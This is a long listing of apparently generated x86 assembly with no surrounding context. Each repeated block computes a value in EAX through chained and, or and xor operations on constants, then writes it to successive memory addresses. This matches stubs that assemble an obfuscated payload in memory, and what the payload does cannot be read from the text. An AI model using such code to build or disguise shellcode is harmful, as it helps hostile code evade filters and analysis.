mov dword [ebx], eax
add ebx, ecx
or eax, 0x47a0e0df
or eax, 0x1d491ee2
and eax, 0x5c4baad8
or eax, 0x20140100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f3d592e
and eax, 0x367ce8a0
or eax, 0x800400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x502ca463
and eax, 0x24e4e0a2
or eax, 0x214
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fb64896
and eax, 0x49e4e800
or eax, 0x10008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c644b7a
and eax, 0x15012132
or eax, 0x600889
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd61414a
and eax, 0x4400100
or eax, 0x721680e5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x632b0d2f
or eax, 0x2dd6357d
and eax, 0x4d161434
or eax, 0x80090802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16794eb4
and eax, 0xd2465282
or eax, 0x10ac08
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5773edb3
xor eax, 0x3722ca14
and eax, 0x61000416
or eax, 0x44929
mov dword [ebx], eax
add ebx, ecx
or eax, 0x109992b5
xor eax, 0x180e13f9
and eax, 0x9014044
or eax, 0x84201181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2255e54f
and eax, 0x29212002
or eax, 0x500a0800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c4b92f2
and eax, 0x403200
or eax, 0xa864000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dd704bf
or eax, 0x5df40699
and eax, 0x1d0516b2
or eax, 0x80080040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x65e80319
and eax, 0x60641142
or eax, 0x4080810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b6827b3
and eax, 0x6a482d21
or eax, 0x10008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c3da165
and eax, 0x6208c44
or eax, 0x88a2001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3835f410
or eax, 0x38c70bf8
and eax, 0x28010618
or eax, 0x1004002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fe4cfa
and eax, 0x100401a
or eax, 0xfe9a9240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x74ce0227
xor eax, 0x1aa34f3
and eax, 0x420848c
or eax, 0x1891133
mov dword [ebx], eax
add ebx, ecx
and eax, 0x646ceb38
xor eax, 0x2d786f53
and eax, 0x2000a649
or eax, 0x56a40014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7303851
or eax, 0x4c1b11b3
and eax, 0x2804277b
or eax, 0x404000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x400ebf6d
or eax, 0x667c1e35
and eax, 0x6e345237
or eax, 0x900021c8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63afd15
and eax, 0x6512cbde
and eax, 0x20008a80
or eax, 0x909c1535
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68d3b00
xor eax, 0x23281b4a
and eax, 0x2840008
or eax, 0xcc486c10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66381716
and eax, 0x8014010c
or eax, 0x55018490
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53241cf4
and eax, 0x7002a8c1
and eax, 0x8800
or eax, 0x279d553d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22fc7f04
xor eax, 0x2cc5a45
and eax, 0x6284824
or eax, 0x20400382
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56d9355b
xor eax, 0x4041e2ac
and eax, 0x20809c00
or eax, 0x8e0d4126
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cfd04c7
and eax, 0x100010a0
or eax, 0x41090216
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26050f01
and eax, 0
or eax, 0x670c2834
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b6fb592
and eax, 0x210c2000
or eax, 0x18a0c4a3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x552c1121
or eax, 0x264d99b4
and eax, 0x142d9130
or eax, 0x48000008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ed0788a
xor eax, 0x27bcde45
and eax, 0x700020a8
or eax, 0x8498d000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bd19003
and eax, 0x4453a692
and eax, 0x8000
or eax, 0xa78730f8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xde3b06d
xor eax, 0x450a2c5a
and eax, 0x402828cf
or eax, 0x801020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6966e1b0
or eax, 0x6d06a45e
and eax, 0x250e210b
or eax, 0x82000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2aac7671
and eax, 0xaa2e720b
or eax, 0x40000804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f2dbbd3
or eax, 0x244874ce
and eax, 0x1448448a
or eax, 0x2940a21
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b37bfa7
and eax, 0x2140820
or eax, 0xa5c00044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23617e8
and eax, 0x2000060
or eax, 0xc4828f88
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37c464c4
and eax, 0x200a1a4
or eax, 0x8291012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fa4917a
xor eax, 0xaca637f
and eax, 0x8050181
or eax, 0x9080144c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fd18750
or eax, 0x6b4b6ae3
and eax, 0x630b4882
or eax, 0x4040018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54cb20e8
and eax, 0x4b67953
and eax, 0x4020000
or eax, 0x4210e6a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49de7237
or eax, 0x4f620335
and eax, 0xfee8400
or eax, 0x30116040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3678accf
or eax, 0x53910925
and eax, 0x8448a0
or eax, 0x4088010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d8c8180
or eax, 0x8210737
and eax, 0x9010636
or eax, 0x42ca1000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30b2e111
and eax, 0x4a272d90
and eax, 0x48202000
or eax, 0x10d4484b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69bf08f
and eax, 0x7c04db6c
and eax, 0
or eax, 0x3c989e77
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f1c1b68
and eax, 0x614bebd1
and eax, 0x800
or eax, 0x8f375494
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47a35d6b
and eax, 0xc11309fb
or eax, 0x10088200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a6a8035
and eax, 0x970008a
or eax, 0x8b010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47370aca
and eax, 0x46410050
or eax, 0x1110058d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x56355dd6
and eax, 0x121000d0
or eax, 0x81a0e823
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ef9d301
and eax, 0xec413362
or eax, 0x960001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66b31abf
and eax, 0x44821220
or eax, 0x892c895c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4be3c83
and eax, 0x4aa1800
or eax, 0xe200e2be
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16c49c34
or eax, 0x1ee97034
and eax, 0x1a295004
or eax, 0xc11205c1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18d866ad
and eax, 0x8084005
or eax, 0xc1e2a258
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78f091c7
and eax, 0x1958d345
or eax, 0x4040c20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x39d1da74
and eax, 0x3d85c404
or eax, 0x82022000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x790dcbd3
or eax, 0x78ff2ce8
and eax, 0xb47c609c
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1343d23
xor eax, 0x459d36ad
and eax, 0x40890281
or eax, 0x9a029152
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7970f093
and eax, 0x8008082
or eax, 0xa4864644
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf5ecab5
or eax, 0x35316224
and eax, 0x23182a03
or eax, 0x48020080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c305946
or eax, 0x4b20fe22
and eax, 0x41301222
or eax, 0x4870115
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbfebe4a
or eax, 0x7b7a27a
and eax, 0xe69a957
or eax, 0x20001080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x124db964
xor eax, 0x42c4ac69
and eax, 0x840008
or eax, 0x40e892
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66953b86
and eax, 0x62509114
or eax, 0x182c0480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x639de226
or eax, 0x6541a555
and eax, 0x179a182
or eax, 0x808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ee0b108
and eax, 0x1f0b180
or eax, 0xc0064401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c0d3b06
or eax, 0x2fb7ba5e
and eax, 0x49259a4e
or eax, 0x800044a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49e2a6f8
and eax, 0x8000480
or eax, 0x86517011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x455e649c
and eax, 0x6166404
or eax, 0x30200042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3281dfa0
xor eax, 0x29f61c9
and eax, 0x10001602
or eax, 0x81464040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b22193
and eax, 0x91c061c3
or eax, 0x42080804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46a269ba
and eax, 0x42800882
or eax, 0x212c842d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d742fd3
and eax, 0x41200402
or eax, 0x6504014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1baff402
and eax, 0x13783006
or eax, 0x861
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb9f77af
and eax, 0x23da0cef
and eax, 0xc48
or eax, 0x2f2c9317
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18fa2ac6
or eax, 0x595e5515
and eax, 0x5c98f09d
or eax, 0x80200060
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a490751
and eax, 0x58000040
or eax, 0x2363e380
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68065306
and eax, 0x6b4581c2
or eax, 0x84800429
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8c462c4
and eax, 0x8c048763
or eax, 0x10300010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x668240a9
and eax, 0x4012c2c0
or eax, 0x1492021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d0eaba9
and eax, 0x6d5c8b09
or eax, 0x92800410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x334b4bc7
and eax, 0xac18808b
or eax, 0x201020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a81107a
or eax, 0x489375af
and eax, 0x882602d
or eax, 0x85240a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63d1a7ef
and eax, 0x8e67660d
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e909cbc
and eax, 0x98802c88
or eax, 0x80000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50b2093d
xor eax, 0x7bae1897
and eax, 0x4312a
or eax, 0xc0b4a91
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x317fd9c5
and eax, 0x2420a02c
or eax, 0x2051901
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61431cc6
or eax, 0x5268fb8f
and eax, 0x620496a
or eax, 0x88810000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78f5e18a
xor eax, 0x4d6b317c
and eax, 0x8131118c
or eax, 0x44c06022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32cbf632
and eax, 0x42b2336
or eax, 0x8040041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54808ca3
and eax, 0x50818c00
or eax, 0x8540500a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x302f369e
and eax, 0xe5a5868a
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26407c72
and eax, 0x43e1b28a
or eax, 0x180004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48ec721b
xor eax, 0x4ad6c7c5
and eax, 0xc30740
or eax, 0x14009082
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7570196b
and eax, 0x41531fa0
or eax, 0x82002010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x216fc7dd
and eax, 0x235acdad
or eax, 0xc000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58def4e6
and eax, 0x8000400
or eax, 0x63001053
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77ac0861
and eax, 0x40000041
or eax, 0x180a08b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5522e010
and eax, 0x204841
or eax, 0xb2d50500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21ba3187
and eax, 0x83000446
or eax, 0x4108138
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d9ad76a
and eax, 0x5108062
or eax, 0xfa607091
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13d85b05
and eax, 0x11504001
or eax, 0x802d2d1e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47efa3c0
and eax, 0x2c216de1
and eax, 0x2100
or eax, 0x614480e8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d1642d4
or eax, 0x7c76b383
and eax, 0x68162202
or eax, 0x82884410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54ca7269
or eax, 0x2e8446e8
and eax, 0xaa80523a
or eax, 0x1288800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6502ba16
or eax, 0x3ec4d95f
and eax, 0x50040859
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6420df6
and eax, 0xc50
or eax, 0xb7368023
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45ad0010
and eax, 0x20bd1dbd
and eax, 0x240010
or eax, 0x171018e6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x301ad9cb
or eax, 0x6ea46f69
and eax, 0x16a44420
or eax, 0x81438010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f71a084
and eax, 0x2edd67a7
and eax, 0x81400a0
or eax, 0x95498000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ec15391
and eax, 0x21ae827b
and eax, 0x1848220
or eax, 0x6061200e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x300c9e56
or eax, 0x6327d2e9
and eax, 0x3384ca41
or eax, 0xc100004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2bd88bfb
and eax, 0x2fd44b33
or eax, 0x233000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7987d40e
and eax, 0x1054002
or eax, 0x503000b9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5703d0db
xor eax, 0x279fdf61
and eax, 0x21290900
or eax, 0x5c00a074
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5774a35
and eax, 0x191d0c05
and eax, 0x140001
or eax, 0x22c2f5cc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5945e425
or eax, 0x3ae07fbc
and eax, 0x2448589
or eax, 0x85090000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1908a2ab
and eax, 0x10da5a3
or eax, 0x800050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b3f8376
xor eax, 0x3a885adc
and eax, 0x100a1811
or eax, 0x88058204
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc13381a
and eax, 0x8c0baa0c
or eax, 0x20e045e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d719510
and eax, 0xc018500
or eax, 0x3862adc
mov dword [ebx], eax
add ebx, ecx
and eax, 0xdfa0af1
and eax, 0x8800280
or eax, 0x8028850e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d6120b1
and eax, 0x80
or eax, 0xf2d8982b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x425ceb3
and eax, 1
or eax, 0x1baf205c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42c30c3e
xor eax, 0x57eaa414
and eax, 0x50280008
or eax, 0xa8004830
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44e1581a
xor eax, 0x7012e963
and eax, 0x4511110
or eax, 0x30000802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4eb77915
or eax, 0x1e26a5b0
and eax, 0x16e62090
or eax, 0x1091840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e920af3
and eax, 0x6020800
or eax, 0x6878940c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45023d99
xor eax, 0x36704a5a
and eax, 0x10425600
or eax, 0x80da98d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2aec45d
xor eax, 0xe67d165
and eax, 0x10800630
or eax, 0x2b575144
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11d73e01
and eax, 0x7dc22c71
and eax, 0x10c20000
or eax, 0xa019a83d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fd5a5b1
and eax, 0x45060984
or eax, 0x71d263
mov dword [ebx], eax
add ebx, ecx
or eax, 0xdf87c38
and eax, 0xdc8b865
or eax, 0x82000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b2497da
and eax, 0x6718a27
and eax, 0xa07
or eax, 0xb80b71d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1aaf36df
and eax, 0x18043d92
or eax, 0x108000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67c39766
and eax, 0x1000
or eax, 0xaf0b68f8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fd6b5ca
and eax, 0xa0104032
or eax, 0x5221205
mov dword [ebx], eax
add ebx, ecx
or eax, 0x523e4158
and eax, 0xa52a126e
or eax, 0x8880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x412b5cf9
and eax, 0x2421d2ad
or eax, 0x8002100
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc343092
and eax, 0x2c14a024
or eax, 0xc3480040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b589276
and eax, 0x8b083206
or eax, 0xa34d09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ac9b7f2
and eax, 0x3000c054
or eax, 0x40801400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b4a205c
or eax, 0x432318d2
and eax, 0x32220880
or eax, 0x8490e200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1593ab6e
and eax, 0x88b850e
and eax, 0
or eax, 0x6e59111d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1120032d
and eax, 0x100
or eax, 0x89e9f0d2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40b8c17a
and eax, 0x81120a0
or eax, 0x24aa0e01
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41bdf4b2
or eax, 0x5c91102b
and eax, 0x40a35a18
or eax, 0x80400140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46536db8
or eax, 0x32fbdac7
and eax, 0x94c9f884
or eax, 0x1000108
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a7824f1
xor eax, 0x1ea08d0c
and eax, 0x80100060
or eax, 0x3282a58c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31a1d892
and eax, 0x80013d7a
or eax, 0x3ccc8080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e859b63
and eax, 0x72480088
or eax, 0xd340800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3406c610
or eax, 0xb432c05
and eax, 0x6669a40d
or eax, 0x800120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x743166cf
and eax, 0x20b1a0ea
or eax, 0x1000810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56a797a5
and eax, 0x4707bbeb
or eax, 0x8484000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2026b619
and eax, 0x4e280d82
or eax, 0x12a001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4afd2f74
or eax, 0x5e60c31a
and eax, 0x12e6814d
or eax, 0x103000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x46b865e4
and eax, 0x2300040
or eax, 0xc84f9a22
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e38f57f
and eax, 0x2c64d717
or eax, 0x11000080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d50038b
and eax, 0x34601211
or eax, 0x80000020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bf3770f
and eax, 0xefb32408
or eax, 0x48800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x704b9a68
or eax, 0x4e6eb198
and eax, 0x46648888
or eax, 0x81800047
mov dword [ebx], eax
add ebx, ecx
and eax, 0x176546d4
xor eax, 0x483e19fc
and eax, 0x4f5a0130
or eax, 0x900582c7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c3fb682
and eax, 0x3002021
or eax, 0x4403888a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42e87dca
and eax, 0x47169c27
and eax, 0x3021020
or eax, 0x305160d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6960d3b4
and eax, 0x42d9063f
and eax, 0
or eax, 0xb16c4c7b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d78fd43
xor eax, 0x56b4f35a
and eax, 0xe2200200
or eax, 0x45a1499
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15ccc81d
and eax, 0x4080001
or eax, 0xaaa5d9a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fe425fa
and eax, 0x3e8d7178
or eax, 4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49a2d151
and eax, 0x252d0028
or eax, 0x88101e92
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38bdcec8
and eax, 0x95009012
or eax, 0x282a2f8d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2559d08d
and eax, 0x2008808c
or eax, 0xa426a42
mov dword [ebx], eax
add ebx, ecx
or eax, 0x805723f
xor eax, 0xb7aa7d2
and eax, 0x305c28
or eax, 0x5cc8a282
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1495aad0
and eax, 0x4800880
or eax, 0x6848006c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x700cfea8
and eax, 0x74c40c8c
or eax, 0x2020012
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44966912
and eax, 0x4840802
or eax, 0x878d4ac
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x561fcdbd
and eax, 0x48620101
or eax, 0x24084800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6935cc1d
and eax, 0x24244c1c
or eax, 0x80003240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2857a0a8
or eax, 0x67c5a795
and eax, 0xec267025
or eax, 0x10080000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x110637d8
or eax, 0x1ecd3700
and eax, 0x33a543dd
or eax, 0x128002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xcad9088
and eax, 0x1e104003
or eax, 0x80e02008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64b046f4
and eax, 0x5376c428
and eax, 0x304000
or eax, 0xb3c424de
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b43c167
and eax, 0x102001b9
or eax, 0x64004a42
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d2720c9
and eax, 0
or eax, 0x48510300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42f42ccb
and eax, 0x40100000
or eax, 0x13047c1c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x724502b5
and eax, 0x21141421
or eax, 0x80200002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x378dde14
and eax, 0x12a94236
or eax, 0x21060500
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19e3f8ea
and eax, 0x10030002
or eax, 0xae143819
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x232f9d8f
or eax, 0x4bdb8793
and eax, 0x463aa292
or eax, 0x20005820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57d37400
and eax, 0x11898eb2
or eax, 0x48024108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6baacd19
and eax, 0x418ac500
or eax, 0xa44422e5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xcd8c5ba
and eax, 0x20022014
or eax, 0x6295080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2185a283
xor eax, 0x511e64ee
and eax, 0x108082f8
or eax, 0x9090802
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d89444
and eax, 0x6eeb063e
and eax, 0x841003a
or eax, 0xa3a03100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47cdc0ef
xor eax, 0x7fdb8393
and eax, 0x10530002
or eax, 0x4008180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ad8e8a5
and eax, 0x171adb60
and eax, 0x20a4020
or eax, 0x895b004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1440132
and eax, 0x48c95912
and eax, 0xc04002
or eax, 0xa024a209
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a148957
xor eax, 0x74055488
and eax, 0x86918fc7
or eax, 0x610e0020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4eddfa9c
and eax, 0x62026cfc
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34d73fda
and eax, 0x20022498
or eax, 0x52f09101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36ee732
and eax, 0x5ad9a69a
and eax, 0x5090000a
or eax, 0xac061574
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58786236
and eax, 0x186c6144
or eax, 0x1018001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75f41e61
or eax, 0x3e5cf248
and eax, 0x3402208
or eax, 0x30816
mov dword [ebx], eax
add ebx, ecx
or eax, 0x526fcabb
and eax, 0x526a60b9
or eax, 0x901500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70165154
and eax, 0x22a82464
or eax, 0x4500d012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22cb5b58
or eax, 0x2c25b701
and eax, 0x2141910c
or eax, 0x104000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a2b4cc5
or eax, 0x8b42da6
and eax, 0x20154802
or eax, 0x4409200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6083fc67
and eax, 0x7716e4a4
and eax, 0x2406e024
or eax, 0x93e00198
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c575dd5
xor eax, 0x150f4ff
and eax, 0xdaa00002
or eax, 0x8c050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12250c57
and eax, 0x5288cc07
or eax, 0x20103080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4739063
and eax, 0x23f3aa69
and eax, 0x2c10060
or eax, 0x8d18d014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x555ca679
xor eax, 0x3787b33
and eax, 0xcc200140
or eax, 0x2121091
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68428d90
xor eax, 0x326774c1
and eax, 0xc8156800
or eax, 0x4004c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4faec373
xor eax, 0x62c78be1
and eax, 0xa538000a
or eax, 0x428098e1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72fdf3e4
and eax, 0x829144d
and eax, 0x1000
or eax, 0x86870313
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x747f523a
and eax, 0x20504029
or eax, 0x4000c46
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c8a552
and eax, 0x2fd85d96
and eax, 0x20800814
or eax, 0x8040a62a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50d4b78b
and eax, 0x602
or eax, 0x24185941
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61ee4431
and eax, 0x76ac3e75
and eax, 0x20881c70
or eax, 0x8b03a084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e55710b
and eax, 0xac90cc66
or eax, 0x50000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66238a8c
xor eax, 0x577fadc2
and eax, 0x89886328
or eax, 0x40018493
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1479ca59
or eax, 0x6c9b9f72
and eax, 0x84bdfd3
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x746aee4e
and eax, 0x1001301c
or eax, 0x2928040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x642a8fdb
and eax, 0x8010
or eax, 0xd43000a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1405ce5b
and eax, 0xd011cebb
or eax, 0x823104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b041616
and eax, 0x260da28
and eax, 0x1020
or eax, 0x881d0042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37eb2b28
or eax, 0x741207f0
and eax, 0xe39628d0
or eax, 0x18004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x586562c4
and eax, 0x7bf72094
or eax, 0x4080028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e532eee
and eax, 0x1734080a
or eax, 1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c8902b3
and eax, 0x1096a4dd
and eax, 0x10840099
or eax, 0x8b417722
mov dword [ebx], eax
add ebx, ecx
